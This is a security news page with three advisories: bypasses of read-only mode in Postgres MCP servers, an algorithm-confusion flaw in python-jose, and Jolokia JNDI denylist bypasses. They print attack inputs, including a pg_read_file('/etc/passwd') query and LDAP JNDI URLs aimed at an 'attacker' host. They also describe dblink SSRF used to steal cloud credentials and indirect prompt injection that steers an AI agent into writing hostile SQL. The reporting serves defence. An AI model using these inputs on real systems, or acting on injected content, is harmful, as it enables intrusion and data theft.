Severity Daily

IT and AI security incidents, checked against the primary source

Tag: denylist bypass

  • Two Postgres MCP servers lost read-only mode the same day: AWS shipped a longer denylist, Postgres MCP Pro has no fix

    Two Postgres MCP servers lost read-only mode the same day: AWS shipped a longer denylist, Postgres MCP Pro has no fix

    Two Postgres MCP servers had their read-only guardrail defeated in records published hours apart on September 4, 2026. AWS fixed its version by adding entries to a denylist. The other project has not shipped a release since May 2025.

    What happened

    On Friday, September 4, 2026, two CVE records landed against Model Context Protocol servers that connect a large language model to a PostgreSQL database. Both describe the same failure: the server’s “read-only” or “restricted” mode did not hold, and a query meant to be confined to reading rows reached past the database instead.

    The first, CVE-2026-85620, was published by VulnCheck at 10:17 a.m. Central and covers Postgres MCP Pro, the crystaldba/postgres-mcp project, at version 0.3.0. NVD’s record states that the server “contains a restricted-mode bypass vulnerability where function-name validation is not applied to RangeFunction nodes in FROM clauses,” and that an attacker “can execute file-reading functions like pg_read_file through FROM-clause syntax to read arbitrary files despite restricted-mode protections.” VulnCheck scores it 9.2 on CVSS 4.0; the CVSS 3.1 base score carried as primary in NVD is 8.6. The weakness is classified CWE-863, incorrect authorization.

    The public GitHub issue the record cites, issue #178, is more specific than the CVE text. It was opened on June 6, 2026 by the researcher VulnCheck credits, George Chen, and it explains that the project’s SafeSqlDriver applies its function allowlist to FuncCall nodes, while a function invoked in a FROM clause parses as a RangeFunction node and never reaches the check. The demonstration needs no extra privilege: SELECT pg_read_file('/etc/passwd') is blocked, and SELECT * FROM pg_read_file('/etc/passwd') returns the file. As of this writing the issue is still open, with no maintainer reply, no fix commit, and no release referenced. VulnCheck’s advisory page states no remediation.

    There is no fixed version to name, and the package registry confirms why. The latest release of postgres-mcp on PyPI is 0.3.0, uploaded May 16, 2025 — the affected version is the current one.

    The second record, CVE-2026-85787, was published by Amazon’s own CNA at 4:17 p.m. Central and covers awslabs.postgres-mcp-server before version 1.1.7. AWS security bulletin 2026-101, timestamped September 4, 2026, 1:00 p.m. PDT, describes “an incomplete list of disallowed inputs in the SQL validation component in Amazon awslabs postgres-mcp-server before version 1.1.7” that “might allow an unauthenticated actor to modify data beyond the read-only scope by placing crafted SQL into the content that is submitted when an authenticated user interacts with the MCP server.” AWS scores it 7.1 on CVSS 4.0 and 6.5 on CVSS 3.1, and classifies it CWE-184 — incomplete list of disallowed inputs.

    That last phrase is the whole design, stated by the vendor. Diffing the 1.1.6 and 1.1.7 wheels from PyPI shows exactly two files changed: a version string, and mutable_sql_detector.py. The fix is a longer list. Version 1.1.7 adds SET_CONFIG to the mutating-keyword set, because, as the shipped comment explains, set_config() “is the function form of SET and mutates session state the same way, but the SET keyword above does not match it (‘set’ is not on a word boundary in ‘set_config’).” It adds a dedicated pattern so that set_config cannot turn off row_security or session_replication_role even when the server is running with writes enabled. It adds a normalization pass so that a double-quoted spelling such as "pg_sleep"(1) is folded to its bare form before the pattern runs — 1.1.6’s own comment had conceded that quoted identifiers “are NOT matched — this is a known limitation of regex-based detection.”

    And it adds nine dblink functions to the dangerous-function set, with a comment stating the stakes plainly: they “open outbound TCP connections from the database backend to an arbitrary host:port. This is a Server-Side Request Forgery primitive: a read query can reach the instance metadata service (169.254.169.254) to steal IAM credentials, probe or connect to internal VPC services, or exfiltrate query results to an attacker-controlled host.” The extension ships in Aurora and RDS shared_preload_libraries.

    The dates do not line up with the advisory. Version 1.1.7 was uploaded to PyPI on June 25, 2026; the bulletin and the CVE record appeared on September 4, 71 days later. In the interim the project shipped 1.1.8, 1.1.9, and, on August 26, 1.2.0, which is current. AWS’s resolution text says “This issue has been addressed in version 1.1.7. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.”

    Why it matters

    Read-only mode is the load-bearing assumption in every deployment where a model is handed a database. It is what lets a team connect an agent to production and call the worst case a slow query. Both of these records say that assumption was enforced by inspecting SQL text or its parse tree and rejecting what looked dangerous — and that in both cases something got through.

    What makes the pair worth reading together is that they are not the same implementation mistake. Postgres MCP Pro does the more rigorous thing: it parses the statement and walks the tree. Its bypass is a node type the walker did not visit. AWS does the cheaper thing: it matches patterns against normalized SQL text. Its bypass is a name the patterns did not cover. One failed by omission in an AST traversal, the other by omission in a list — and the fix in both cases is to enumerate more of what an attacker might write. That is the structure of a denylist, and the CWE AWS assigned to its own record names it.

    The distinction between the two servers is not the quality of the guardrail. It is whether anyone is maintaining it. AWS’s list got longer within weeks of a report. Postgres MCP Pro’s report has been public since June 6 with no maintainer response, and the registry says the package has not been touched since May 2025. Anyone who pinned it and moved on is running the vulnerable version by default, and there is nothing to upgrade to.

    The AWS description also names a delivery path that is easy to skim past. The actor is “unauthenticated,” but the SQL arrives “in the content that is submitted when an authenticated user interacts with the MCP server.” That is the indirect-injection shape: the attacker does not talk to the server, they write into something the model reads — a support ticket, a row the agent summarizes, a document in a retrieval index — and the model composes the query. The database sees a well-formed request from a trusted session.

    Which is why AWS’s secondary advice is the durable part of its bulletin: run the server “as a minimal-privilege Postgres role,” not as a superuser or master account, granting only what the workload needs. A denylist decides what a query may say. A role grant decides what the database will do about it, and it does not need to have anticipated dblink_connect_u in advance.

    These two were not alone on Friday. The same VulnCheck batch published CVE-2026-85606 against firecrawl-mcp-server, an arbitrary local file read scored 7.5, and CVE-2026-85661 against excel-mcp-server 0.1.8, scored 9.8, for failing to enforce path confinement in stdio mode when EXCEL_FILES_PATH is unset. The constraint an MCP server advertises is enforced by a check written by hand, and the checks are being read carefully for the first time.

    What to do

    awslabs.postgres-mcp-server: upgrade. Anything below 1.1.7 is affected; 1.2.0, released August 26, 2026, is current and is what AWS means by “the latest version.” If you vendored or forked the server, AWS explicitly asks that you carry the patch across — the changed file is awslabs/postgres_mcp_server/mutable_sql_detector.py.

    Postgres MCP Pro (crystaldba/postgres-mcp): there is no fix. 0.3.0 is both the affected and the newest release. If you run it in restricted mode against anything you care about, treat restricted mode as advisory only until issue #178 is closed, and constrain the database role instead.

    For any database MCP server: connect it as a Postgres role that cannot do what you are trying to prevent. Revoke pg_read_server_files and pg_execute_server_program membership, drop the dblink extension where it is not needed, and grant read on the specific schemas the agent needs rather than connecting as the owner. If an agent’s queries are composed from content outside parties can write, assume the SQL is attacker-influenced and size the role accordingly.

    Sourcing note

    Both CVE records were read from the NVD API at services.nvd.nist.gov, which supplied descriptions, CVSS vectors, CWE assignments, references, and publication timestamps for CVE-2026-85620 (published 10:17 a.m. Central on September 4) and CVE-2026-85787 (published 4:17 p.m. Central the same day). The AWS bulletin was read directly at aws.amazon.com/security/security-bulletins/2026-101-aws/. The VulnCheck advisory and GitHub issue #178 were read at their own URLs. Release dates and the absence of any release after 0.3.0 were taken from the PyPI JSON API, a package registry rather than a report about one. The description of the 1.1.7 change is not from a changelog: the 1.1.6 and 1.1.7 wheels were downloaded from PyPI and diffed, and the quoted comments are the text shipped inside the package.

    Unresolved: the crystaldba project has not responded publicly to issue #178, so we cannot say whether a fix exists unreleased on a branch — GitHub’s releases API returned 403 to automated retrieval, and the absence of a newer PyPI release is what the no-fix statement rests on. AWS does not explain the 71 days between the 1.1.7 upload and the September 4 bulletin. Neither record carries a CISA KEV entry or a federal remediation deadline, and no exploitation of either issue has been reported by any party we checked.

  • python-jose still lets a public key serve as an HMAC secret, because the 2024 fix checked the key format instead of the key

    python-jose still lets a public key serve as an HMAC secret, because the 2024 fix checked the key format instead of the key

    VulnCheck published CVE-2026-85394 against the python-jose JOSE library on September 3, 2026, at 7:17 p.m. UTC. The record describes an algorithm-confusion bypass, and its last sentence is the story: “This is an incomplete fix for CVE-2024-33663.” The 2024 fix tried to stop a public key from being used as an HMAC secret by checking whether the key looked like a PEM or SSH key. A DER-encoded public key looks like neither. There is no patched release, the GitHub issue has been open since July, and python-jose has not shipped a version since May 2025.

    What happened

    The full NVD description, verbatim: “python-jose through 3.5.0 fails to properly validate asymmetric keys in HMAC initialization, accepting DER-encoded public keys that lack PEM armor or SSH prefixes. Attackers holding the service’s public key can forge HS256 tokens that pass verification when algorithms are not explicitly restricted. This is an incomplete fix for CVE-2024-33663.”

    The weakness is CWE-347, improper verification of cryptographic signature. VulnCheck scored it 9.1 under CVSS v3.1 with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, and 9.3 under CVSS v4.0. The record’s vulnStatus was “Received” at the time of writing.

    Algorithm confusion is an old and well-understood class. A JSON Web Token carries its own algorithm identifier in the header. A service that verifies RS256 tokens holds an RSA public key, which is not a secret — it is typically published at a JWKS endpoint so that anyone can verify the service’s tokens. If an attacker can get the verification routine to treat that public key as an HMAC shared secret instead, the attacker can mint HS256 tokens signed with the key everybody already has, and the library will accept them. The canonical instance is CVE-2022-29217 in PyJWT.

    python-jose took this in April 2024 as CVE-2024-33663, filed on GitHub as GHSA-6c5p-j8vq-pqhj, titled “python-jose algorithm confusion with OpenSSH ECDSA keys,” affecting versions before 3.4.0 and patched in 3.4.0. The patch added a guard. In the library’s native backend the check reduces to this shape:

    if is_pem_format(key) or is_ssh_key(key):
        raise JWKError

    That is a formatting test, not a type test. is_pem_format looks for the -----BEGIN armor. is_ssh_key looks for the prefix that opens an OpenSSH public key line. Both are string patterns wrapped around the same underlying object: a DER-encoded key. PEM is base64-encoded DER with a header and footer glued on. Strip the armor and base64-decode it and you have the identical key material with none of the strings the guard is looking for.

    That is what GitHub issue 414 against mpdavis/python-jose reports. It is titled “Algorithm-confusion guard bypassed by DER-encoded public keys (incomplete CVE-2024-33663 fix),” was opened on July 6, 2026 by the account geo-chen, and is still open with no maintainer response recorded. The reporter demonstrates forging an HS256 token using the DER form of the service’s public key and having it verify successfully on decode. The recommended fix is to stop pattern-matching entirely: attempt to load the supplied HMAC secret as an asymmetric key and reject it if it parses. The reporter also recommends requiring explicit algorithm allowlists on verification.

    The release history is the other half. On PyPI, python-jose 3.3.0 was uploaded on June 5, 2021. Version 3.4.0 — the release carrying the incomplete fix — was uploaded on February 18, 2025. Version 3.5.0, the current release and the one the CVE names as vulnerable, was uploaded on May 28, 2025. Nothing since. The issue reporting the bypass has been open for roughly two months, and the CVE is now public.

    Why it matters

    The interesting failure here is not that a library had an algorithm-confusion bug. It is how the fix failed, and that failure mode generalizes past this library.

    The 2024 patch answered the question “is this key text that looks like an asymmetric public key?” The question it needed to answer was “is this key an asymmetric public key?” Those diverge the moment the same value can be spelled more than one way, and cryptographic key material can always be spelled more than one way: PEM, DER, JWK, OpenSSH, base64 of any of them. A validator built on string prefixes has to enumerate the spellings. A validator built on parsing has to enumerate nothing — if the bytes load as a public key, they are a public key, whatever they look like. The reporter’s recommendation is the structurally correct one, and it is also the one that does not need to be revisited when a sixth encoding shows up.

    This is the same shape as findings this publication has covered on other projects: a denylist bypassed because it enumerated bad inputs instead of defining good ones, an escape routine defeated because the grammar it escaped for was not the grammar the value ended up in. Guards that describe the attack rather than the property are the recurring cause. What makes this instance sharper is that the guard was written specifically as a security fix, carried a CVE number, and shipped in a release whose whole purpose was to close the hole.

    The second condition in the CVE — “when algorithms are not explicitly restricted” — is where an operator has leverage, and it is also where most of the real-world exposure sits. Passing an explicit allowlist to the decode call removes the attack entirely, because the token’s own header no longer gets a vote. Code that omits the allowlist is common, partly because omitting it works fine in testing and fails only against an attacker.

    The maintenance picture is what turns this from a bug into a decision. There is no patched version to move to. The last release predates the report by more than a year, the issue has drawn no maintainer response in two months, and the CVE is now published with the current version named as affected. That is not an accusation — python-jose is a volunteer project and nobody is owed a release — but it is the fact a team has to plan around. If your dependency graph contains python-jose, the realistic options are a mitigation you apply yourself, a fork, or a different library. Waiting is not one of them right now.

    Worth stating plainly: there is no reported exploitation, no KEV listing, and no federal deadline attached to this. The urgency here comes from the absence of a patch, not from anyone attacking it.

    What to do

    • Pass an explicit algorithms allowlist on every verification call. This is the mitigation, and it is complete. A decode that is told to accept only RS256 will not fall through to HMAC no matter what the token header claims or what encoding the key arrived in. Grep your codebase for decode calls that omit the parameter.
    • Audit what you hand in as the key. The attack needs the verification routine to be initialized with the public key as an HMAC secret. Code paths that pass a single key variable through to both asymmetric and symmetric verification are the ones to look at.
    • Treat your public key as public, because it is. The CVE’s precondition — “attackers holding the service’s public key” — is met by default for any service publishing a JWKS endpoint. Do not count that as a barrier.
    • Decide about the dependency. python-jose 3.5.0 is the current release and is the affected version. If you cannot guarantee the allowlist across every call site, including transitive callers, plan a migration rather than a wait.
    • Track GitHub issue 414. It is the only place a fix will surface first, and it is where a maintainer response, if one comes, will appear.

    Sourcing note

    Checked: the NVD record for CVE-2026-85394, retrieved from the NIST CVE API on September 4, 2026, from which the description, scores, vectors, and CWE are taken verbatim; GitHub issue 414 on mpdavis/python-jose, which supplied the guard shape, the report date, and the recommended fix; the GitHub Security Advisory GHSA-6c5p-j8vq-pqhj for the prior CVE-2024-33663, which supplied the affected and patched versions; the PyPI JSON metadata for python-jose, which supplied the upload dates for 3.3.0, 3.4.0, and 3.5.0.

    Unresolved: whether the maintainers have responded privately. The GitHub issue shows no public maintainer comment, which is not the same as no contact. Whether a fix is in progress. The CVE was assigned by VulnCheck as CNA rather than by the project, and VulnCheck’s advisory does not describe a coordination timeline; the report and the CVE come from two different parties, roughly two months apart. No exploitation has been reported by anyone, and no second party has independently reproduced the DER bypass in public.

  • Jolokia’s 2018 JNDI denylist is bypassed three ways, and the fix denies every proxy target by default

    Jolokia’s 2018 JNDI denylist is bypassed three ways, and the fix denies every proxy target by default

    CVE-2026-84218 defeats the 2018 denylist three different ways, and Jolokia 2.6.2 — released September 2, 2026 — closes it by refusing every proxy target that has not been explicitly allowed.

    What happened

    Red Hat published CVE-2026-84218 on September 1, 2026, as the assigning authority, scoring it 8.1 with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H and classifying it CWE-184, “Incomplete List of Disallowed Inputs.” Red Hat’s own threat severity is Important, and its record marks the CVSS status as draft. The finder is Sandipan Roy of Red Hat.

    The same day, issue 1049 was opened against the Jolokia project under the title “Incomplete JNDI Denylist in Jolokia JSR-160 Proxy (Bypass of CVE-2018-1000130 Fix).” On September 2, 2026, Jolokia 2.6.2 shipped. Its release note for that issue reads: “Deny all target JMX URLs by default if not allowed in (#1049).”

    Jolokia’s JSR-160 proxy mode lets a client hand the agent a JMX service URL and have the agent connect to it through JMXConnectorFactory. In 2018, CVE-2018-1000130 established that a client could point that at an LDAP URL and trigger a JNDI lookup against a server the attacker controlled. The fix was a denylist: block anything matching the regular expression service:jmx:rmi:///jndi/ldap:.*.

    That pattern holds for exactly the shape of URL its author had in front of them. Issue 1049 documents three ways around it:

    • A different scheme. The regex requires the literal ldap:. LDAP over TLS is ldaps:, and service:jmx:rmi:///jndi/ldaps://attacker:1389/o=ref does not match.
    • A non-empty host. The three slashes in the pattern encode an empty JMX host component. service:jmx:rmi://localhost/jndi/ldap://attacker:1389/o=ref is a legal URL, still performs the LDAP lookup, and does not match.
    • Case. Scheme matching is case-sensitive in the pattern and is not in the URL handling.

    The consequences the issue names are server-side request forgery from the agent’s JVM, credential forwarding during the LDAP bind, and remote code execution conditional on what is on the classpath when the LDAP server returns a reference. Proxy mode requires authentication — by default the jolokia role — so this is not an unauthenticated internet-facing hole, and the AC:H in Red Hat’s vector reflects the conditions on the RCE outcome.

    Red Hat’s product states are uneven. Red Hat AMQ Broker 7 is marked affected in jolokia-server-core, with no errata attached to the record. Red Hat build of Apache Camel 4 for Quarkus 3, Red Hat build of Apache Camel for Spring Boot 4, and Red Hat Fuse 7 are all marked out of support scope for the jolokia packages. Red Hat Satellite 6 is not affected. On mitigation, the record says: “Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria.”

    Why it matters

    Eight years is a long time for a bypass to sit unfound, and the reason it sat is not obscurity. It is that the 2018 fix wrote down one example rather than one rule. A denylist regex against rmi:///jndi/ldap: encodes the exploit that was demonstrated. It does not encode the property that matters, which is that the agent is willing to make a JNDI lookup to a location the client picked. Every one of the three bypasses is a restatement of the same URL with a legal variation the author did not enumerate — a sibling scheme, an optional component filled in, different capitalization. None of them is clever. They are what a denylist looks like from the other side.

    CWE-184 is the right classification and it is an unusually honest one. The easy filing here would have been the downstream impact: JNDI injection, or SSRF, or deserialization. Naming the incomplete denylist as the weakness puts the finding where the defect actually lives, and it makes the record useful to anyone auditing the many other places where the post-Log4Shell response was to add a pattern match against ldap. That response was everywhere in early 2022. This is what those patches look like when they age.

    The more immediate thing for operators is that the fix is a behavior change, not a patch. “Deny all target JMX URLs by default if not allowed in” means that after upgrading to 2.6.2, a working JSR-160 proxy deployment stops working until someone configures the set of targets it is allowed to reach. That is the correct fix — it converts a denylist into an allowlist, which is the only structure that does not have this failure mode — and it will also break production for anyone who upgrades without reading the note. This site has spent the past week on releases that shipped security fixes filed as breaking changes without saying so, most recently Eclipse Theia’s agent-mode workspace escape. Jolokia is the inverse and it is the better failure: the release note describes the behavior change accurately. What it does not do is name CVE-2026-84218, so anyone mapping versions to CVEs from release notes alone finds nothing to match.

    The Red Hat product table deserves its own reading. “Out of support scope” is not “not affected.” It means Red Hat is not making a determination for those packages in those products, and it appears against Camel for Quarkus, Camel for Spring Boot, and Fuse 7 — three places where a Jolokia agent is a routine part of a management endpoint. A team running any of them gets no fixed version and no statement either way, and has to establish its own jolokia-core version and its own exposure. AMQ Broker 7, which does get a determination, gets “affected” with nothing attached to remediate it. The upstream fix exists as of today; the downstream path to it does not yet.

    What to do

    Upgrade to Jolokia 2.6.2, released September 2, 2026. Before you do, read the behavior change: proxy targets are denied by default afterward, so any JSR-160 proxy configuration that relies on reaching arbitrary or unlisted targets will need an explicit allowlist. Test this in a staging environment first; the upgrade is safe for the vulnerability and disruptive for the deployment.

    If you cannot upgrade, turn off JSR-160 proxy mode. It is the only feature this touches. Disabling it removes the exposure completely and is a stronger position than any partial filter, which is the same conclusion the denylist history here argues for.

    Red Hat AMQ Broker 7. Marked affected in jolokia-server-core with no errata published. Check whether proxy mode is enabled on your brokers; if it is not, the flaw is not reachable. Watch Red Hat’s CVE page for an advisory.

    Camel for Quarkus 3, Camel for Spring Boot 4, Fuse 7. Marked out of support scope. Determine your bundled Jolokia version yourself rather than reading the absence of an “affected” label as safety.

    Audit access either way. Proxy mode requires authentication, so the standing question is who holds the jolokia role, whether the agent is reachable beyond localhost, and whether the JVM’s classpath contains anything that turns an LDAP reference into code execution. Any one of those being false blunts the worst outcome.

    There is no reported exploitation, the CVE is not in CISA’s Known Exploited Vulnerabilities catalog, and no federal remediation deadline attaches to it.

    Sourcing note

    Checked against primary sources: the CVE Program record for CVE-2026-84218, published September 1, 2026, and updated September 2; Red Hat’s machine-readable security data entry for the same CVE, which supplied the Important threat severity, the draft status on the 8.1 score, the mitigation sentence, and the per-product fix states quoted above; issue 1049 in the Jolokia repository, which is the technical description of the three bypasses and the source of the example URLs; and the Jolokia release list, which puts 2.6.2 on September 2, 2026, with the release note quoted above. CVE-2018-1000130 is the earlier record whose fix this defeats.

    Not reached: the GitHub advisory API returned 403 to automated fetching, so the machine-readable version ranges in GHSA-c9ff-59g8-m36q could not be confirmed. The human-readable advisory page, read on September 2, 2026, showed no affected package and no version range, which would matter for dependency scanners that consume that feed — but on a single unconfirmed read that is an observation, not a finding. cisa.gov returns 403 as well; the KEV status was checked against the catalog data CISA publishes through its own GitHub channel, which lags, so read it as no evidence of a listing rather than a positive confirmation.

    Unresolved: whether an AMQ Broker 7 errata is in preparation; whether Red Hat will move the three “out of support scope” products to a determination; and whether the mixed-case bypass is independently exploitable or only in combination with the other two, which issue 1049 does not settle.